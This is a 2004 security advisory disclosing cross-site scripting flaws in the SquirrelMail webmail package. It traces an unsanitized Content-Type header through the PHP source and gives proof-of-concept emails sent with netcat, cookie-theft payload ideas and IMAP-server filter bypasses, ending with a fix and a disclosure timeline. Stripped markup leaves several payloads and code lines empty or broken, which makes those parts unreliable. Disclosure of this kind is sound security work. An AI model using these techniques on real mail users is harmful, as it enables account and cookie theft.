-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 =============================== - RS-Labs Security Advisory - =============================== Tittle: SquirrelMail "Content-Type" XSS vulnerability ID: RS-2004-1 Severity: Medium / High - Arbitrary tags injection in victim's browser context Date: 29.May.2004 Author: Román Medina-Heigl Hernández (a.k.a. RoMaNSoFt) URL: http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt .: [ SUMMARY ] SquirrelMail is a well-known and widely deployed webmail system. As defined in SM's official site: it "is a standards-based webmail package written in PHP4. It includes built-in pure PHP support for the IMAP and SMTP protocols, and all pages render in pure HTML 4.0 (with no JavaScript required) for maxi- mum compatibility across browsers. It has very few requirements and is very easy to configure and install. SquirrelMail has all the functionality you would want from an email client, including strong MIME support, address books and folder manipulation". A vulnerability has been discovered in SM. Due to unsanitized user input, a specially crafted e-mail being read by the victim using SM will make injec- tion of arbitrary tags possible. When correctly exploited, it will permit the execution of scripts (JavaScript, VBScript, etc) running in the context of victim's browser. Compromise of webmail account, cookie theft or further exploitation of any local existing vulnerability in browser (specially easy in the case of MS-IE, which is still plenty of pending [unpatched] sec-vulns) are only some examples of the possibilities. Contrary to popular belief, not all XSS bugs need social engineering to be performed in order to trigger a successful exploitation. The bug being dis- closed in this advisory proves this fact. A simple reading of an specially crafted e-mail sent by the attacker could derive in a compromise of security. I rated this vulnerability as "medium/high" (instead of "low", as other XSS bugs) because of this reason. As a side effect of my research I discovered that older known SM flaws were still present in latest Debian stable (Woody) package. I will also discuss them here (there is no need to issue another advisory only for that ;-)). But _please note_ that if I don't explicitly mention it, I will always be referring to the new (and recently discovered) bug. .: [ AFFECTED VERSIONS ] The (new) bug could be reproduced with latest version of SM (both stable and devel branchs) (*). In particular: - - 1.4.3 (CVS) (**) - - 1.4.3 (RC1) - - 1.5.0 - - 1.5.1 (CVS) (**) Older versions are also vulnerable (latest Debian packages [1.2.6-1.3 and 1.5.0-1] were also tested and confirmed to be buggy too). (*) Most of the research work has been done over 1.5.1 (CVS), though. (**) Before 24.May.04, when it was fixed in response to my bug-report. .: [ TECHNICAL ANALYSIS - 1st part: old SM flaws still living around us ] (Yes, this is the easy part; you can skip it if you only want new bugs). Once upon a time a responsible sysadmin and proud Debian unstable user mailed to Sam Johnston , the current Debian maintainer for SM packages, and asked him for a new package release which would fix some annoying bugs (not related to security). Guess it... it was me! :-) Well, I cc'ed some of SM developpers, hoping they could help Sam to make a better quality release. We spoke about Debian policy and other interesting things. SM developpers got surprised: an old SM 1.2.6 version being the "current stable" package in Debian!? We explained to them that Debian Woody uses some kind of manually "backporting" system or in other words: Debian developpers fix critical bugs (often security related ones), by backporting patches released by the corresponding vendor (SM team, in this case). They couldn't explain how this was possible (regarding SM), when many bugs were silently fixed by the vendor, without an advisory being re- leased. Then my brain started thinking (not for the first time, eh?). I had a look at the Changelog, searching for "XSS" string and finally, I de- cided to download last two versions of 1.2.x (where x=10, 11). I diff'ed the sources. I noticed something like: - - "$mailer " . + "" . htmlentities($mailer) . " " . Interesting. I kept on walking through the diff-file. The PHP function "htmlentities()" (useful to convert those chars with a special meaning in HTML language) appeared several times. I was in a hurry (time is gold) so I did the following: roman@rs-labs:~$ grep htmlentities squirrel-1.2.10-1.2.11.diff + $senderName .= htmlentities(sqimap_find_displayable_name($senderNames_part)); + 'message' => htmlentities($fdata[5]), + 'reminder' => htmlentities($fdata[6]) ); + " " . htmlentities($event_title) . "\n". + " " . htmlentities($event_text) . "\n". + "" . htmlentities($mailer) . " " . Ummm, that's good. I only needed to reproduce one of the bugs to prove that backporting is not always a good tactic if you want to have stable _and_ secure software. I chose between two beautiful bugs: roman@rs-labs:~$ diff -ur squirrelmail-1.2.10/src/read_body.php squirrelmail-1.2.11/src/read_body.php @@ -976,7 +977,7 @@ "" . _("Mailer") . ': '. "" . - - "$mailer " . + "" . htmlentities($mailer) . " " . '' . "" . "\n"; roman@rs-labs:~$ diff -ur squirrelmail-1.2.10/functions/mailbox_display.php squirrelmail-1.2.11/functions/mailbox_display.php require_once('../functions/strings.php'); @@ -59,7 +59,7 @@ if ($senderName != '') { $senderName .= ', '; } - - $senderName .= sqimap_find_displayable_name($senderNames_part); + $senderName .= htmlentities(sqimap_find_displayable_name($senderNames_part)); } } Both cases could be exploited in a simple way: the attacker sends an e-mail to the victim, and the victim reads it. So simple, isn't it? Nevertheless, to exploit the first case, the victim should have to view headers of the received e-mail (which is not very common), while $senderName (second case) is displayed by default just when the user logs into SM (in other words: when mailbox's con- tents are displayed). Perfect for a proof of concept exploit. So I started playing around this second case and found the way to exploit it. You simply have to insert your favourite JS (JavaScript) code into the "From:" header of an e-mail and send it to the victim. Well, not so easy. Indeed, it was a bit tricky due to the special parsing of the "From:" header. See the "Exploitation" section. Please, learn the lesson and repeat with me: "Debian stable software is not always as secure as we usually thought". Oddly enough, Debian unstable was free of these bugs :-) .: [ TECHNICAL ANALYSIS - 2nd part: seeking a new vuln! ] (Cool stuff begins here :-)). Latest SM versions have fixed several XSS bugs along the time. Nevertheless, nobody is perfect... Let's take advantage of our (recently adquired) SM skills and find a new bug. I downloaded latest version (1.5.1 CVS) and had a quick look at it. I fastly reviewed "functions/mailbox_display.php". No luck this time. Then I reviewed "src/read_body.php". No l... Mmmm, don't panic! Please, have a closer look to this last file (only the interesting excerpt is showed): - ----------------- $attachmentsdisplay = formatAttachments($message,$ent_ar,$mailbox, $passed_id); if ($attachmentsdisplay) { echo ' '; echo ' '; echo ' '; echo ''; } - ----------------- Got it! There is an "echo" statement where used variable seems not to be filtered in any way. Sure enough, $attachmentsdisplay has not been sanitized. It is used to print all info related to an attachment (file type, the name of attachment itself and so on). This is tipically contained inside the email (headers) being received by the victim so it is easily spoofable by an evil attacker (for instance, my good friend "Crg" of "!dSR" team }:-)). In "functions/mime.php": - ----------------- function formatAttachments($message, $exclude_id, $mailbox, $id) { [...] $att_ar = $message->getAttachments($exclude_id); if (!count($att_ar)) return ''; $attachments = ''; $urlMailbox = urlencode($mailbox); foreach ($att_ar as $att) { $ent = $att->entity_id; $header = $att->header; $type0 = strtolower($header->type0); $type1 = strtolower($header->type1); [...] $attachments .= '' . '' . "" . '
'; echo ' '; echo ' ' . html_tag( 'td', '', 'left', $color[9] ); echo ' ' . _("Attachments") . ':'; echo ' '; echo '
'; echo '
'; echo $attachmentsdisplay; echo '
'; echo '
'; echo '
' . ''.decodeHeader($display_filename).' ' . show_readable_size($header->size) . '  [ $type0/$type1 ] '; $attachments .= '' . $description . ''; $attachments .= ' '; [...] } $attachmentadd = do_hook_function('attachments_bottom',$attachments); if ($attachmentadd != '') $attachments = $attachmentadd; return $attachments; } - ----------------- As our sharp readers can see, $type0 and $type1 variables remain unfiltered. Where do they come from? Well, it's not trivial, at least for somebody who is not familiarized with IMAP protocol, which is (was?) my case. The fast response to the previous question is: both variables come from the object named "$message". We can verify the class this variable corresponds to by adding a debug line such as: error_log('$message class: ' . get_class($message)); It reveals that $message corresponds to "Message" class. This class is defi- ned at "class/mime/Message.class.php". Doing the same for $header variable, we obtain the class "MessageHeader", which is defined at "class/mime/MessageHea- der.class.php". In particular, $type0 is read from this last object (and con- verted into lowercase; this would be a little restriction at the time of ex- ploitation, although it can be easily bypassed) and same applies to $type1. Are you getting bored? Well, I'll summarize a bit: SM uses the same struc- tures defined by the IMAP protocol (RFC 3501) and the parsing task is left to be performed by the IMAP server. This is an important point. You can skip the following excerpt but I think it may help to understand the whole thing. Notice that "msg_header" in the text really corresponds to "Messa- geHeader" class. Quoting from "doc/mime.txt": - -s-k-i-p---i-f---b-o-r-e-d---(tm)--:-)---- Object Structure - ---------------- There are two objects that are used: "message" and "msg_header". Here is a brief overview of what each object contains. msg_header Contains variables for all the necessary parts of the header of a message. This includes (but is not limited to) the following: to, from, subject, type (type0), subtype (type1), filename ... message This contains the structure for the message. It contains two parts: $header and $entities[]. $header is of type msg_header, and $entities[] is an array of type $message. The $entities[] array is optional. If it does not exist, then we are at a leaf node, and have an actual attachment (entity) that can be displayed. Here is a tree view of how this object functions. header entities | +--- header | +--- header | entities | | | +--- header | | | +--- header | +--- header Getting the Structure - --------------------- Previously (version 0.4 and below), SquirrelMail handled all the parsing of the email message. It would read the entire message in, search for boundaries, and create an array similar to the $message object described above. This was very inefficient. Currently, all the parsing of the body of the message takes place on the IMAP server itself. According to RFC 2060 section 7.4.2, we can use the BODYSTRUCTURE function which will return the structure of the body (imagine that). It goes into detail of how the bodystructure should be formatted, and we have based our new MIME support on this specification. A simple text/plain message would have a BODYSTRUCTURE similar to the following: ("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 1152 23) A more complicated multipart message with an attachment would look like: (("TEXT" "PLAIN" ("CHARSET" "US-ASCII") NIL NIL "7BIT" 1152 23)("TEXT" "PLAIN" ("CHARSET" "US-ASCII" "NAME" "cc.diff") "<960723163407.20117h@cac.washington.edu>" "Compiler diff" "BASE64" 4554 73) "MIXED")) Our MIME functionality implements different functions that recursively run through this text and parses out the structure of the message. If you want to learn more about how the structure of a message is returned with the BODYSTRUCTURE function, please see RFC 2060 section 7.4.2. - -e-n-d---o-f---s-k-i-p---i-f---b-o-r-e-d---(tm)--:-)---- Let's continue, faster. I'm getting tired too. As you probably guessed, the BODYSTRUCTURE contains "Content-Type" values. SM directly parses the response issued by IMAP server. To be precise, in "functions/imap_messages.php": - ----------------- /** * Returns a message array with all the information about a message. * See the documentation folder for more information about this array. */ function sqimap_get_message ($imap_stream, $id, $mailbox) { // typecast to int to prohibit 1:* msgs sets $id = (int) $id; $flags = array(); $read = sqimap_run_command ($imap_stream, "FETCH $id (FLAGS BODYSTRUCTURE)", true, $response, $message, TRUE); if ($read) { if (preg_match('/.+FLAGS\s\((.*)\)\s/AUi',$read[0],$regs)) { if (trim($regs[1])) { $flags = preg_split('/ /', $regs[1],-1,'PREG_SPLIT_NI_EMPTY'); } } [...] } $bodystructure = implode('',$read); $msg = mime_structure($bodystructure,$flags); $read = sqimap_run_command ($imap_stream, "FETCH $id BODY[HEADER]", true, $response, $message, TRUE); $rfc822_header = new Rfc822Header(); $rfc822_header->parseHeader($read); $msg->rfc822_header = $rfc822_header; return $msg; } - ----------------- The variable $read[0] is a string. It contains the response of the IMAP server. So the array $read is converted into a string (using the "implode" trick) and then it is passed into "mime_structure()" function. This last one can be located at "functions/mime.php": - ----------------- function mime_structure ($bodystructure, $flags=array()) { /* Isolate the body structure and remove beginning and end parenthesis. */ $read = trim(substr ($bodystructure, strpos(strtolower($bodystructure), 'bodystructure') + 13)); $read = trim(substr ($read, 0, -1)); $i = 0; $msg = Message::parseStructure($read,$i); [...] - ----------------- Finally, the parsing of the IMAP response is really done by the following methods of the Message class (defined at "class/mime/Message.class.php"): - ----------------- /* * Bodystructure parser, a recursive function for generating the * entity-tree with all the mime-parts. * * It follows RFC2060 and stores all the described fields in the * message object. * * Question/Bugs: * * Ask for me (Marc Groot Koerkamp, stekkel@users.sourceforge.net) * */ function parseStructure($read, &$i, $sub_msg = '') { $msg = Message::parseBodyStructure($read, $i, $sub_msg); if($msg) $msg->setEntIds($msg,false,0); return $msg; } function setEntIds(&$msg,$init=false,$i=0) { $iCnt = count($msg->entities); if ($init !==false) { $iEntSub = $i+1; if ($msg->parent->type0 == 'message' && $msg->parent->type1 == 'rfc822' && $msg->type0 == 'multipart') { $iEntSub = '0'; } if ($init) { $msg->entity_id = "$init.$iEntSub"; } else { $msg->entity_id = $iEntSub; } } else if ($iCnt) { $msg->entity_id='0'; } else { $msg->entity_id='1'; } for ($i=0;$i<$iCnt;++$i) { $msg->entities[$i]->parent =& $msg; if (strrchr($msg->entity_id, '.') != '.0') { $msg->entities[$i]->setEntIds($msg->entities[$i],$msg->entity_id,$i); } else { $msg->entities[$i]->setEntIds($msg->entities[$i],$msg->parent->entity_id,$i); } } } - ----------------- And no attempt to filter user input was found here! :-) Some other variables will be originally obtained from this object, like the filename of the attach- ment found in an e-mail. But they are processed later and filtered in the in- termediate process, before being displayed. So they are safe from XSS (I have not performed a full audit, though). Nevertheless, "Content-Type" field is not purged at all and so it is vulnerable to XSS, as we have demonstrated through this analysis. .: [ EXPLOITATION ] It takes some time to explore the possibilities of exploitation for discussed bugs. The attacker should sent an e-mail to the victim, including our malicious string inside one of the headers, depending on which vulnerability we are trying to exploit. The difficult part is to study how the string will be filte- red through SM processing. I don't want to lose more time to explain the "old" bug (present in 1.2.6 .deb package, a.k.a. $senderName XSS) so I will directly provide some examples of its exploitation. - - Example 1: shows the content of the cookie on a dialog box. From:John Doe<> - - Example 2: cookie theft. From:(<> - - Example 3: session variable is rewritten (DoS). From:John Doe<> Please note that we used HTML comments in order to hide the opening bracket character ["("] which, otherwise, would be visible to the victim. This way, detection of an attack is more difficult to achieve. }:-) Be aware that the third example could leave a webmail account unusable until the offending me- ssage is deleted by the administrator or by using alternative methods for accessing the mail account (for instance, POP3). The new bug requires some more testing in order to be exploited. Remember the description I did about the source of the bug. The offending string is read directly from the IMAP server, in response to a BODYSTRUCTURE request. I did some testing and discovered that different IMAP servers have different beha- viours against "foreign" characters being injected into the command string. In summary: each IMAP server implementation works in a different way and some characters will be permitted in some servers and denied in others. Don't ask me the reason. I don't know it :-) I built three different environments and used them to exploit the bug. I obtained also different results, which I will disclose right now. 1) UW IMAP 2003.339 (Debian package: uw-imapd 7:2002edebian1-3). The exploit itself will be a simple e-mail with a forged "Content-Type" header. In this example we will try to print cookie's content. We only have to construct e-mail and send it to the victim: roman@rs-labs:~/squirrel/bug-new$ cat XSS-PoC-Squirrelmail.withoutquotes helo rs-labs-r0cks mail from: rcpt to: data From: Attacker To: roman@rs-labs.com Subject: Squirrelmail XSS PoC (without quotes) Date: Sun, 09 May 2004 22:39:58 +0200 Message-ID: X-Mailer: RoMaNSoFt's preferred one :-) MIME-Version: 1.0 Content-Type: application/octet-stream; name=top_secret.pdf Content-Transfer-Encoding: base64 Content-Description: Not really top secret... (without quotes) Content-Disposition: attachment; filename=top_secret.pdf JVBERi0xLjMKJeLjz9MKMSAwIG9iago8PAovTGVuZ3RoIDEyMTUKL0ZpbHRlciBbL0ZsYXRlRGVj dHhyZWYKNDY2MjUKJSVFT0YK . quit roman@rs-labs:~/squirrel/bug-new$ nc localhost 25 < XSS-PoC-Squirrelmail.withoutquotes 220 rs-labs ESMTP Exim 3.36 #1 Sun, 23 May 2004 21:33:59 +0200 250 rs-labs Hello localhost [127.0.0.1] 250 is syntactically correct 250 verified 354 Enter message, ending with "." on a line by itself 250 OK id=1BRyjP-00065a-00 221 rs-labs closing connection roman@rs-labs:~/squirrel/bug-new$ Now, let's see the effect it has on the IMAP server: roman@rs-labs:~/squirrel/bug-new$ cat imap 0 login user password 0 examine inbox 0 search * 0 fetch 1 BODYSTRUCTURE 0 logout roman@rs-labs:~/squirrel/bug-new$ nc localhost 143 < imap * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2003.339 at Sun, 23 May 2004 22:25:15 +0200 (CEST) 0 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User squirrel authenticated * 1 EXISTS * 1 RECENT * OK [UIDVALIDITY 1084621844] UID validity status * OK [UIDNEXT 7] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS ()] Permanent flags * OK [UNSEEN 1] first unseen message in /var/mail/squirrel 0 OK [READ-ONLY] EXAMINE completed * SEARCH 1 0 OK SEARCH completed * OK [PARSE] Unexpected characters at end of parameters: ; name=top_secret.pdf * 1 FETCH (BODYSTRUCTURE ("APPLICATION" "OCTET-STREAM" NIL NIL "Not really top secret... (without quotes)" "BASE64" 104 NIL ("ATTACHMENT" ("FILENAME" "top_secret.pdf")) NIL NIL)) 0 OK FETCH completed * BYE rs-labs IMAP4rev1 server terminating connection 0 OK LOGOUT completed roman@rs-labs:~/squirrel/bug-new$ Hey! UW IMAP's parsing routine is cute enough to detect non permitted chars. But which chars are forbidden? Let's quote RFC 2822 ("Internet Message Format"): - ----------------- 3.2.1. Primitive Tokens [...] specials = "(" / ")" / ; Special characters used in "<" / ">" / ; other parts of the syntax "[" / "]" / ":" / ";" / "@" / "\" / "," / "." / DQUOTE [...] 3.2.5. Quoted strings Strings of characters that include characters other than those allowed in atoms may be represented in a quoted string format, where the characters are surrounded by quote (DQUOTE, ASCII value 34) characters. - ----------------- Good idea! We can repeat the experiment, but this time we will use quotes. Therefore we delete former message for inbox and issue a new one: roman@rs-labs:~/squirrel/bug-new$ cat XSS-PoC-Squirrelmail.withquotes helo rs-labs-r0cks mail from: rcpt to: data From: Attacker To: roman@rs-labs.com Subject: Squirrelmail XSS PoC (without quotes) Date: Sun, 09 May 2004 22:39:58 +0200 Message-ID: X-Mailer: RoMaNSoFt's preferred one :-) MIME-Version: 1.0 Content-Type: application/octet-stream""; name=top_secret.pdf Content-Transfer-Encoding: base64 Content-Description: Not really top secret... (without quotes) Content-Disposition: attachment; filename=top_secret.pdf JVBERi0xLjMKJeLjz9MKMSAwIG9iago8PAovTGVuZ3RoIDEyMTUKL0ZpbHRlciBbL0ZsYXRlRGVj dHhyZWYKNDY2MjUKJSVFT0YK . quit roman@rs-labs:~/squirrel/bug-new$ nc localhost 25 < XSS-PoC-Squirrelmail.withquotes 220 rs-labs ESMTP Exim 3.36 #1 Sun, 23 May 2004 22:52:24 +0200 250 rs-labs Hello localhost [127.0.0.1] 250 is syntactically correct 250 verified 354 Enter message, ending with "." on a line by itself 250 OK id=1BRzxI-0006KA-00 221 rs-labs closing connection roman@rs-labs:~/squirrel/bug-new$ nc localhost 143 < imap * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] localhost IMAP4rev1 2003.339 at Sun, 23 May 2004 22:52:26 +0200 (CEST) 0 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User squirrel authenticated * 1 EXISTS * 1 RECENT * OK [UIDVALIDITY 1084621844] UID validity status * OK [UIDNEXT 10] Predicted next UID * FLAGS (\Answered \Flagged \Deleted \Draft \Seen) * OK [PERMANENTFLAGS ()] Permanent flags * OK [UNSEEN 1] first unseen message in /var/mail/squirrel 0 OK [READ-ONLY] EXAMINE completed * SEARCH 1 0 OK SEARCH completed * 1 FETCH (BODYSTRUCTURE ("APPLICATION" {60} OCTET-STREAM"" ("NAME" "top_secret.pdf") NIL "Not really top secret... (without quotes)" "BASE64" 104 NIL ("ATTACHMENT" ("FILENAME" "top_secret.pdf")) NIL NIL)) 0 OK FETCH completed * BYE rs-labs IMAP4rev1 server terminating connection 0 OK LOGOUT completed roman@rs-labs:~/squirrel/bug-new$ Perfect. This time our evil string is not discarded :-) We are ready to login to our SM test account and try to read the mail-message. A dialog box appears listing our cookies. In other words... it works!!! =) 2) Courier IMAP 3.0.3 (Debian package: courier-imap 3.0.3-1) If we perform similar tests we can conclude that surprisingly double quotes is not a problem here. But now our input string is cut (automatically termina- ted) when a "/" character is found. It happens the same if we include the space character. This is easy to demonstrate if we look at the source of Courier; in particular, in "imap/msgbodystructure.c" there are some lines like the follo- wing: - ----------------- q=strtok(mybuf, " /"); [...] if (q) q=strtok(0, " /"); - ----------------- Arghh! Courier programmers didn't respect dquote convention. So this case seems not to be exploitable... But, are you sure? :-) Let's think a bit. How to avoid the "/" character? Easy: But then we have a space character. Indeed it could be replaced with any other "whitespace" character and browser will interpret it in the same way. For instance, we can use the TAB character and the final exploit will be: where [TAB] is a byte with 0x09 value. And yes, it works now! :-)) Only one comment. When using netcat over IMAP port I got a strange effect: the response remained blocked when "login" command was sent so I could not get a full response. I fixed this problem by entering a little delay between the "login" command and the next one ("examine"): roman@rs-labs:~/courier$ cat imap 0 login user password roman@rs-labs:~/courier$ cat imap2 0 examine inbox 0 search * 0 fetch 1 BODYSTRUCTURE 0 logout roman@rs-labs:~/courier$ (cat imap ; sleep 0 ; cat imap2) | nc localhost 143 [...] 3) Cyrus 2.1.16 (Debian package: cyrus21-imapd 2.1.16-6) Definitely, it is not exploitable due to hard filtering. When Cyrus detects forbidden chars ("/", " ", "<", ...) automatically sets Content-Type to "Text / Plain". Having a look at Cyrus' source ("imap/message.c"), we can see: #define TSPECIALS "()<>@,;:\\\"/[]?=" [...] message_parse_type() [...] message_parse_rfc822space() [...] See the source for additional info. This time we had no good luck :-( I did not check other IMAP servers but I think it is sufficient. I'm still curious about the differences showed among tested IMAP software. Please feel free to drop me an e-mail and tell me. XSS vulnerabilities are often understimated, despite being dangerous and constitute a real risk. Combine this bug with some of the multiple IE vulne- rabilities and you could have a bomb (remote compromise of the victim) :-) .: [ WORKAROUND AND SOLUTIONS ] * Fast manual fix (tested on 1.5.1-CVS): Edit "functions/mime.php" and replace: $type0 = strtolower($header->type0); $type1 = strtolower($header->type1); by: // Security Fix (Content-Type XSS) $type0 = htmlentities(strtolower($header->type0)); $type1 = htmlentities(strtolower($header->type1)); * Official solution for 1.4.3-RC1 (and older versions): Upgrade to 1.4.3. * Official solution for 1.5.0: Upgrade to 1.5.1 CVS (or use some of the latest snapshots). .: [ HISTORY ] * 22/May/2004: - Mail sent to samj@debian.org, jon@squirrelmail.org and marc@squirrelmail.org announcing my intention to disclose the bug in aproximately a week. * 23/May/2004: - Marc Groot Koerkamp answered and told me that he has just fixed the issues in 1.4.3 CVS and 1.5.1 CVS, so the to be released 1.4.3 "final" will not be affected by the bug. * 27/May/2004: - Jonathan Angliss told me that SM 1.4.3 is going to be released on Saturday (29.May) and there is no pro- blem with the release of this advisory. Marc also stated that SM 1.5.1 is not planned to be released imminently ("1.5.1 is a development branch and people should use cvs for development branches"). So use 1.5.1 CVS to patch SM devel version. * 29/May/2004: - Public disclosure / Advisory released. .: [ ACKNOWLEDGMENTS ] I would like to thank "bladi" of "!dSR" team for letting me use one of his Linux machines where I built the test-lab for Cyrus IMAP. And to the rest of !dSR staff for its moral support and funny c0ns. Thanks, guys! You are cool! Lastly, thanks also to Marc Groot Koerkamp and Jonathan Angliss of SM Team for their cooperation and attention payed to this advisory. .: [ REFERENCES ] * SquirrelMail site http://www.squirrelmail.org/ * Cgisecurity. "The Cross Site Scripting FAQ" http://www.cgisecurity.com/articles/xss-faq.shtml * RFC 3501 (supersedes 2060). "Internet Message Access Protocol - Version 4rev1" http://www.faqs.org/rfcs/rfc3501.html * RFC 2822. "Internet Message Format" http://www.faqs.org/rfcs/rfc2822.html * RoMaNSoFt's Research Labs http://www.rs-labs.com/ * Digital Security Research - !dSR http://www.digitalsec.net/ -=EOF=- -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 6.5.8 for non-commercial use iQA/AwUBQLd/RuR/in3q1WdCEQLd0wCgwTIbxnLBfhsYiqM7woBysnwG6YcAn0TH wkqALge/JWFMbyCMbKUDs1jz =PxWz -----END PGP SIGNATURE-----